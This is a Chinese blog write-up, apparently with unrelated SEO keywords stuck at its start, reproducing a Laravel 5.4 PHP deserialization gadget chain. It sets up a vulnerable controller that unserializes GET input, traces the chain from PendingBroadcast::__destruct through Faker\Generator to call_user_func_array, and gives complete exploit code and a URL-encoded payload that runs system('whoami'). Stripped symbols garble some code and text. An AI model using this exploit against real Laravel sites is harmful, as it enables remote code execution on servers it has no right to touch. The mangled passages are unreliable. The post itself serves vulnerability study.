双语网站开发,wordpress首页点击图片弹出视频,百度平台电话,好看的网页设计代码文章目录 0x01 环境搭建0x02 POP 链0x03 exp0x04 总结 前言#xff1a;CC 链复现的头晕#xff0c;还是从简单的 Laravel 开始吧。 laravel 版本#xff1a;5.4
0x01 环境搭建
laravel安装包下载地址
安装后配置验证页面。在 /routes/web.php 文件中添加一条路由#xf… 文章目录 0x01 环境搭建0x02 POP 链0x03 exp0x04 总结 前言CC 链复现的头晕还是从简单的 Laravel 开始吧。 laravel 版本5.4
0x01 环境搭建
laravel安装包下载地址
安装后配置验证页面。在 /routes/web.php 文件中添加一条路由原先的路由注释
Route::get(/,\App\Http\Controllers\POPControllertest);然后在/app/Http/Controllers/下添加 POPController 控制器。函数名要和路由里写的一样
?php
namespace App\Http\Controllers;class POPController extends Controller{public function test(){if(isset($_GET[test])){unserialize($_GET[test]);}else{echo Welcome!;}}
}访问页面看到 welcome 即配置正确 0x02 POP 链
一般来说我们寻找序列化漏洞都是从__destruct()或者__wakeup()开始的。
这里找的入口点是 PendingBroadcast.php 里的 PendingBroadcast 类的 __destruct() 方法而且 t h i s − e v e n t s this-events this−eventsthis-event 可控。 public function __destruct(){$this-events-dispatch($this-event);}到这里我们要继续往回找一般有两种思路。
找某个类的 __call 方法且这个类没有 dispatch 方法找某个类存在 dispatch 方法
这里选择第一个思路找到了 Faker\Generator 听说 yii 的链子也有这个有机会复现一下
__call() //在对象上下文中调用不可访问的方法时触发,第一个参数是方法第二个参数是方法里参数组成的数组public function __call($method, $attributes){return $this-format($method, $attributes);}m e t h o d method methodattributes 都可控就是 PendingBroadcast 类的 __destruct() 方法的 t h i s − e v e n t s this-events this−eventsthis-event。
继续跟进 $this-format 方法 public function format($formatter, $arguments array()){return call_user_func_array($this-getFormatter($formatter), $arguments);}漏洞点就在这个 call_user_func_array 上了$formatter, $arguments 可控跟进 $this-getFormatter 方法 public function getFormatter($formatter){if (isset($this-formatters[$formatter])) {return $this-formatters[$formatter];}foreach ($this-providers as $provider) {if (method_exists($provider, $formatter)) {$this-formatters[$formatter] array($provider, $formatter);return $this-formatters[$formatter];}}throw new \InvalidArgumentException(sprintf(Unknown formatter %s, $formatter));}可以发现$this-formatters[$formatter]我们可以控制然后直接 return
构造一下链子
Illuminate\Broadcasting\PendingBroadcastL::__destruct - Faker\Generator::dispatch - Faker\Generator::__call - Faker\Generator::format - call_user_func_array0x03 exp
?php
namespace Illuminate\Broadcasting{class PendingBroadcast{public function __construct($events, $event){$this-event $event;$this-events $events;}}
}namespace Faker{class Generator{protected $formatters array();public function __construct($fun){$this - formatters [dispatch $fun];}}
}namespace {$a new Faker\Generator(system);$b new Illuminate\Broadcasting\PendingBroadcast($a,whoami);echo urlencode(serialize($b));
}
payload
testO%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A5%3A%22event%22%3Bs%3A6%3A%22whoami%22%3Bs%3A6%3A%22events%22%3BO%3A15%3A%22Faker%5CGenerator%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%3Ba%3A1%3A%7Bs%3A8%3A%22dispatch%22%3Bs%3A6%3A%22system%22%3B%7D%7D%7D0x04 总结
复现的第一条 php 的链子真的比 java 友好太多了 555。另外不止这一条链子这位师傅给了4条
Laravel5.4 反序列化漏洞挖掘 - 先知社区 (aliyun.com)